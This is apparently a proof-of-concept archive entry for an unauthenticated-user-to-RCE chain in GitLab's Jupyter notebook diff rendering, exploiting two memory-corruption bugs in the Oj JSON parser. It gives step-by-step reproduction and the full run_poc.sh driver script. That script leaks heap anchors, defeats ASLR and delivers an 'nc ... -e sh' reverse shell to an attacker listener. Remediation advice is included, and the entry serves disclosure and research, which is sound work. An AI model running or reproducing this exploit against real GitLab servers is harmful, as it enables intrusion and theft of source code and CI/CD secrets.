PoC Archive PoC Archive
N/A category: web (CRITICAL)
Unverified

GitLab Notebook-Diff Oj Parser Memory-Corruption Chain → Unauthenticated-Reach RCE (No CVE Yet)

Published: 2026-07-27 • Researcher: Yuhang Wu (depthfirst.com)

Target software GitLab Community/Enterprise Edition — Jupyter notebook diff rendering (backed by the Oj native Ruby JSON parser gem)
Affected versions GitLab 18.11.3 (version used in the published Docker lab/demo); researcher's writeup states the chain applies to 15.2.0–19.0.1
Status Weaponized
Severity Critical
Severity
Critical
CVE
N/A (no CVE assigned as of 2026-07-27 — researcher disclosure via depthfirst.com blog, covered by The Hacker News)
Category
web
Affected product
GitLab Community/Enterprise Edition — Jupyter notebook diff rendering (backed by the Oj native Ruby JSON parser gem)
Affected versions
GitLab 18.11.3 (version used in the published Docker lab/demo); researcher's writeup states the chain applies to 15.2.0–19.0.1
Disclosed
2026-07-27
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherYuhang Wu (depthfirst.com)
CVE / AdvisoryN/A (no CVE assigned as of 2026-07-27 — researcher disclosure via depthfirst.com blog, covered by The Hacker News)
Categoryweb
SeverityCritical
CVSS ScoreN/A (no official score yet — no CVE/vendor advisory to derive one from)
StatusWeaponized
Tagsgitlab, oj-gem, json-parser, rce, aslr-bypass, ruby, deserialization, no-cve-yet
RelatedN/A

Affected Target

FieldValue
Software / SystemGitLab Community/Enterprise Edition — Jupyter notebook diff rendering (backed by the Oj native Ruby JSON parser gem)
Versions AffectedGitLab 18.11.3 (version used in the published Docker lab/demo); researcher’s writeup states the chain applies to 15.2.0–19.0.1
Language / PlatformRuby (GitLab Rails app + Oj native C extension), Puma app server, containerized (gitlab/gitlab-ce)
Authentication RequiredYes — requires an ordinary (non-admin) authenticated GitLab user account; no special privileges needed
Network Access RequiredYes — direct HTTP(S) reachability to the GitLab instance’s notebook-diff endpoint

Summary

GitLab renders diffs for Jupyter notebooks by passing repository-controlled JSON through Oj, a native (C-extension) Ruby JSON parser, in the Puma worker process. The researcher (Yuhang Wu, depthfirst.com) found and chained two distinct memory-corruption bugs in Oj’s parser: one corrupts internal parser state until it gains control of a callback function pointer, and a second independently discloses a heap pointer that narrows the search space needed to defeat ASLR. Combining these, an attacker who can push a crafted notebook file to a repository (as an ordinary authenticated user — no admin rights required) can make the GitLab Puma worker connect back to an attacker-controlled listener and execute shell commands as the git user, by triggering repeated notebook-diff requests that first leak enough heap-layout information to identify the process’s exact library-base addresses (using a precomputed offline fingerprint table), then deliver a final corrupting request that redirects execution to a system()/nc callback chain. No CVE has been assigned as of this writing; the vulnerability is publicly disclosed via a technical blog post and a working, reproducible Docker-based demo.

Vulnerability Details

Root Cause

GitLab’s Jupyter-notebook diff feature parses repository-supplied notebook JSON using Oj, a native-code Ruby JSON parsing gem, inside the Puma request-handling worker. Two independent Oj parser bugs are chained:

  1. State-corruption / callback-pointer control bug — a crafted, malformed sequence of JSON tokens drives the native parser’s internal state machine into an invalid transition that ultimately allows an attacker-influenced value to overwrite a callback function pointer used later in parsing (arming a “ret group” — a controlled redirection of execution at a chosen point in the parse).
  2. Heap-pointer disclosure bug — a second, independently-triggerable parser bug leaks a raw heap address (an “anchor”) back to the client through the diff-rendering response/timing behavior, without requiring any prior corruption.

Because Oj is a native C extension, both bugs operate on process memory directly rather than through Ruby-level safety guarantees. The disclosed heap anchor is combined with a precomputed, offline “band fingerprint” lookup table (table.json in this folder) that maps observed heap-delta signatures to known library (libc, libstdc++, libruby) base-address candidates for the exact container image/GitLab version combination used — turning a single leaked pointer into a high-confidence guess at the full ASLR layout without needing a brute-force scan against the live target. Once the library bases are known with confidence (verified via a dual-callback marker check against an exact, distinctive Ruby VM error string), the attacker delivers a final corrupting request whose callback pointer is redirected into a system()-equivalent primitive at the now-known libruby base, executing an attacker-supplied shell command (a reverse-shell one-liner in the published PoC) as the Puma worker’s git user.

Attack Vector

  1. As an authenticated, ordinary (non-admin) GitLab user, create a private project and push a Jupyter notebook file structured to exercise the two Oj parser bugs.
  2. Repeatedly request the notebook’s commit-diff view (a normal GitLab HTTP endpoint) to trigger the heap-pointer-disclosure bug multiple times; aggregate several “anchor” samples (the PoC takes the median of 5 samples) to reduce noise.
  3. Feed the aggregated anchor value, together with the precomputed offline fingerprint table (table.json) and a version-specific set of expected heap-delta “priors,” into a search routine that narrows candidate library base addresses for the exact target build.
  4. Confirm the correct candidate base via a dual-callback marker check: one callback path is a semantically-inert safe target, the other dispatches through the candidate-relative address to trigger an exact, distinctive Ruby VM rb_raise error string — only an exact string match confirms the correct base; any ambiguous or partial match causes the tool to clean up and try the next candidate rather than risk corrupting the live worker.
  5. Once a base is confirmed, deliver one final corrupting request whose callback pointer is redirected through the confirmed libruby base into a system()/equivalent chain executing an attacker-supplied command (e.g. /usr/bin/nc <attacker-ip> <port> -e sh), which the tool verifies succeeded by checking for an established TCP connection back to the attacker’s listener.

Impact

Remote code execution as the git user inside the GitLab Puma worker process/container, achievable by any authenticated ordinary user with no special privileges — a significant escalation from “logged-in low-privilege user” to “arbitrary command execution on the GitLab application host,” with all attendant risk to source code, CI/CD secrets, and any other tenants/projects hosted on the same GitLab instance.

Environment / Lab Setup

Output
OS:          Linux x86-64 (amd64) — required, the offline fingerprint table and
             ASLR-bypass logic are built for this architecture specifically
Target:      gitlab/gitlab-ce@sha256:49bd9fd166d8f82d443415c50aa65de2675a020b218c5949061db4b87442c7e1
             (GitLab 18.11.3), run via the included docker-compose.yml
Attacker:    Docker Engine + Docker Compose v2; Bash, Python 3, curl, Git,
             iproute2, netcat
Tools:       poc.pyz (self-contained Python zipapp, this folder), run_poc.sh,
             setup_env.sh, table.json (precomputed offline fingerprint/ASLR table),
             docker-compose.yml

Setup Steps

Shell script
1
./setup_env.sh

Proof of Concept

See poc.pyz, run_poc.sh, setup_env.sh, table.json, docker-compose.yml, and upstream-README.md/LICENSE in this folder — mirrored unmodified from wupco/gitlab-rce-demo. Verified before ingestion: cloned the repository directly and confirmed via the GitHub API that the account is aged/legitimate (Arctic Code Vault Contributor badge, 650 followers) and that commit authorship metadata (Yuhang Wu <yuhang@depthfirst.com>) matches the named researcher credited in the linked technical writeup — cross-checking the repo’s own git history against the externally-reported discloser’s identity, since this vulnerability has no CVE/vendor advisory to independently anchor it to. poc.pyz is a Python zipapp (not obfuscated) containing 8 plain, readable .py modules (poc_main.py — 5399 lines, blind_fresh_anchor.py, multires_ret_groups.py, result_candidate_confirmation.py, fresh_anchor_http_core.py, fresh_demo_http_core.py, provision_recording_user.py, __main__.py) plus the embedded table.json fingerprint data — inspected directly by unzipping and reading source, confirming it implements exactly the two-bug chain (heap-pointer disclosure + parser-state/callback-pointer corruption) described in the researcher’s own writeup, with extensive descriptive docstrings and no obfuscation. docker-compose.yml pins an exact, verifiable image digest for GitLab 18.11.3. No paraphrasing or rewriting was performed on any mirrored file.

Step-by-Step Reproduction

  1. Stand up the lab and provision a user:
    Shell script
    1
    
    ./setup_env.sh
  2. Start the callback listener (terminal 1):
    Shell script
    1
    
    ./run_poc.sh listen 4555
  3. Run the exploit (terminal 2):
    Shell script
    1
    
    ./run_poc.sh exploit 4555
  4. Interact with the callback — once the listener reports the GitLab worker connected, run commands (id, whoami, etc.) directly in the listener terminal as the git user.

Exploit Code

See poc.pyz (extract with unzip poc.pyz or run directly via python3 poc.pyz <subcommand>) for the complete implementation. Core phases (from run_poc.sh, which drives the zipapp):

Shell script
1
2
3
4
5
python3 -S poc.pyz anchor --host "$target" --delta-lo-mib 2450 --delta-hi-mib 2480

python3 -S poc.pyz exploit --host "$target" --anchor "$anchor" \
    --command "/usr/bin/nc $gateway $port -e sh" \
    --check-command "ss -Htn state established sport = ':$port' | grep -Fq '$gateway:$port'"

Expected Output

Output
[1/2] Sampling five heap anchors through the notebook diff endpoint
[sample] heap anchor 1/5: 0x...
...
[aggregate] median heap anchor: 0x...

[2/2] Loading the frozen table, searching ASLR, and delivering the callback
...
[success] the GitLab worker connected to the external listener
[success] switch to the listener terminal and run: id

Listener terminal, after callback:

Output
$ id
uid=998(git) gid=998(git) groups=998(git)

Screenshots / Evidence

  • image.png present in the upstream repository (not mirrored into this text-focused entry) — shows a successful demo run per the upstream README.

Detection & Indicators of Compromise

Output

Remediation

ActionDetail
PatchNo CVE/vendor advisory exists yet — monitor GitLab’s security release notes and the Oj gem’s own advisories for a fix addressing the two chained parser bugs; upgrade both GitLab and the bundled Oj gem version promptly once a fix ships.
WorkaroundRestrict or disable Jupyter notebook diff rendering where not required; monitor/rate-limit repeated diff-view requests against notebook files from a single user session; monitor outbound connections from GitLab application/Puma worker containers/hosts.
Config HardeningRun GitLab’s application workers under egress-restricted network policies (deny-by-default outbound from the app-server tier) so a successful reverse-shell callback has nowhere to connect to; apply standard container/host hardening to limit blast radius of a compromised git-user process.

References

Notes

No CVE yet: This vulnerability chain was surfaced via a routine TheHackerNews sweep on 2026-07-27 and has no CVE ID or vendor advisory as of ingestion. It is included in this archive (which is primarily CVE-keyed) because the underlying flaw and PoC are real, independently verified, and high-impact — this entry should be updated with a CVE cross-reference once GitLab/MITRE assigns one.

Identity verification without a CVE: Since no CVE/CNA record exists to anchor trust in the discloser’s identity, the researcher’s identity was corroborated by matching git commit author metadata (Yuhang Wu <yuhang@depthfirst.com>) in the demo repository against the named author of the linked depthfirst.com technical writeup, and cross-checking that the GitHub account (wupco) is aged and has an Arctic Code Vault Contributor badge (a marker of an account that existed and had public repository activity as of GitHub’s 2020 Arctic Code Vault snapshot) rather than being a fresh, single-purpose account — this is why the PoC was trusted despite the lack of a CVE-based provenance anchor.

Architecture-specific: The offline fingerprint table (table.json) and ASLR-bypass logic are built specifically for Linux x86-64 (amd64) against the exact GitLab 18.11.3 container image pinned in docker-compose.yml (by digest). Reproducing against other GitLab versions/architectures would require regenerating an equivalent fingerprint table — the researcher’s writeup states the underlying bug chain affects the broader 15.2.0–19.0.1 range, but the published offline table only covers the specific demo build.

run_poc.sh
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
#!/usr/bin/env bash

set -Eeuo pipefail

here=$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)
poc="$here/poc.pyz"
table="$here/table.json"
credentials="$here/.demo-credentials.json"
target="127.0.0.1:18935"
gateway="10.250.250.1"
mode="${1:-}"
port="${2:-4555}"

case "$port" in
    *[!0-9]*|'') printf '[error] port must be an integer\n' >&2; exit 2 ;;
esac
if ((port < 1 || port > 65535)); then
    printf '[error] port must be between 1 and 65535\n' >&2
    exit 2
fi

if [[ "$mode" == "listen" && -z "${TMUX:-}" ]] && command -v tmux >/dev/null 2>&1; then
    session="df-oj-listener-$port"
    printf -v listener_command '%q %q %q' "$here/run_poc.sh" "_listen" "$port"
    if ! env TERM=xterm-256color tmux has-session -t "$session" 2>/dev/null; then
        env TERM=xterm-256color tmux new-session -d -s "$session" "$listener_command"
        env TERM=xterm-256color tmux set-option -t "$session" status off
    fi
    printf '[listener] attaching to persistent tmux session: %s\n' "$session"
    printf '[listener] if SSH disconnects, run this command again to reattach\n'
    exec env TERM=xterm-256color tmux attach-session -t "$session"
fi

if [[ "$mode" == "listen" ]]; then
    if [[ -z "${TMUX:-}" ]]; then
        printf '[listener] tmux is unavailable; the listener will end with this SSH session\n' >&2
    fi
    mode="_listen"
fi

if [[ "$mode" == "_listen" ]]; then
    for program in ip nc; do
        command -v "$program" >/dev/null 2>&1 || {
            printf '[error] missing required command: %s\n' "$program" >&2
            exit 1
        }
    done
    printf '[listener] waiting for the fixed demo network at %s\n' "$gateway"
    while ! ip -4 -o address show | grep -Fq " $gateway/"; do
        sleep 1
    done
    printf '[listener] callback endpoint: %s:%s\n\n' "$gateway" "$port"
    trap 'printf "\n[listener] stopped\n"; exit 130' INT TERM
    while true; do
        if nc -lvn "$gateway" "$port"; then
            status=0
        else
            status=$?
        fi
        printf '\n[listener] nc exited with status %s; reopening the listener\n' "$status"
        sleep 1
    done
fi

if [[ "$mode" != "exploit" ]]; then
    printf 'usage: %s {listen|exploit} [port]\n' "$0" >&2
    exit 2
fi

for program in python3 git ss; do
    command -v "$program" >/dev/null 2>&1 || {
        printf '[error] missing required command: %s\n' "$program" >&2
        exit 1
    }
done
if [[ ! -f "$credentials" ]]; then
    printf '[error] run ./setup_env.sh first\n' >&2
    exit 1
fi

while ! ss -Hltn sport = ":$port" | grep -Fq "$gateway:$port"; do
    printf '[waiting] start ./run_poc.sh listen %s in the other terminal\n' "$port"
    sleep 2
done

readarray -t fields < <(python3 -c \
    'import json,sys; d=json.load(open(sys.argv[1])); print(d["login"]); print(d["password"]); print(d["pat"])' \
    "$credentials")
login="${fields[0]}"
password="${fields[1]}"
pat="${fields[2]}"

umask 077
anchor_log=$(mktemp "${TMPDIR:-/tmp}/df-offline-anchor.XXXXXX")
cleanup() { rm -f -- "$anchor_log"; }
trap cleanup EXIT

printf '\n[1/2] Sampling five heap anchors through the notebook diff endpoint\n'
anchor_samples=()
for anchor_sample in 1 2 3 4 5; do
    anchor=""
    for anchor_attempt in 1 2 3; do
        if DF_GITLAB_PAT="$pat" \
            DF_GITLAB_PASSWORD="$password" \
            DF_GITLAB_LOGIN="$login" \
            python3 -S "$poc" anchor \
                --host "$target" \
                --delta-lo-mib 2450 \
                --delta-hi-mib 2480 2>&1 | tee "$anchor_log"; then
            anchor=$(python3 -c \
                'import json,sys; rows=[json.loads(x[7:]) for x in open(sys.argv[1]) if x.startswith("ANCHOR ")]; print(rows[0]["anchor"] if len(rows) == 1 else "")' \
                "$anchor_log")
            if [[ "$anchor" =~ ^0x[0-9a-fA-F]+$ ]]; then
                break
            fi
        fi
        anchor=""
        if ((anchor_attempt < 3)); then
            printf '[retry] heap-anchor batch %s attempt %s/3 was inconclusive\n' \
                "$anchor_sample" "$anchor_attempt"
            sleep 1
        fi
    done
    if [[ -z "$anchor" ]]; then
        printf '[error] heap-anchor batch %s failed after 3 attempts\n' \
            "$anchor_sample" >&2
        exit 1
    fi
    anchor_samples+=("$anchor")
    printf '[sample] heap anchor %s/5: %s\n' "$anchor_sample" "$anchor"
done
anchor=$(python3 - "${anchor_samples[@]}" <<'PY'
import sys

values = sorted(int(value, 16) for value in sys.argv[1:])
assert len(values) == 5
print(hex(values[len(values) // 2]))
PY
)
printf '[aggregate] median heap anchor: %s\n' "$anchor"

callback_command="/usr/bin/nc $gateway $port -e sh"
callback_check="ss -Htn state established sport = ':$port' | grep -Fq '$gateway:$port'"
if ((${#callback_command} >= 40)); then
    printf '[error] callback command exceeds the parser command budget\n' >&2
    exit 1
fi

printf '\n[2/2] Loading the frozen table, searching ASLR, and delivering the callback\n'
DF_GITLAB_PAT="$pat" \
DF_GITLAB_PASSWORD="$password" \
DF_GITLAB_LOGIN="$login" \
DF_OFFLINE_TABLE="$table" \
python3 -S "$poc" exploit \
    --host "$target" \
    --anchor "$anchor" \
    --request-timeout 8 \
    --cleanup-probes 2048 \
    --final-fires 2 \
    --search-priors-mb "${DF_SEARCH_PRIORS_MIB:-2470.876,2475.255,2471.816,2470.832,2474.575,2469.155,2477.060,2468.214,2472.011,2470.518,2473.553,2461.030,2470.578,2472.993,2474.881,2471.986,2472.771,2472.715,2457.999,2463.459,2466.280,2467.435,2470.888,2472.361,2470.845,2470.731,2469.958,2476.474,2459.778,2470.052,2470.103,2474.941,2467.202,2475.117,2465.059}" \
    --delta-lo-mb 2450 \
    --delta-hi-mb 2480 \
    --command "$callback_command" \
    --check-command "$callback_check"

if ss -Htn state established sport = ":$port" | grep -Fq "$gateway:$port"; then
    printf '\n[success] the GitLab worker connected to the external listener\n'
    printf '[success] switch to the listener terminal and run: id\n'
else
    printf '[error] exploit exited without an established callback\n' >&2
    exit 1
fi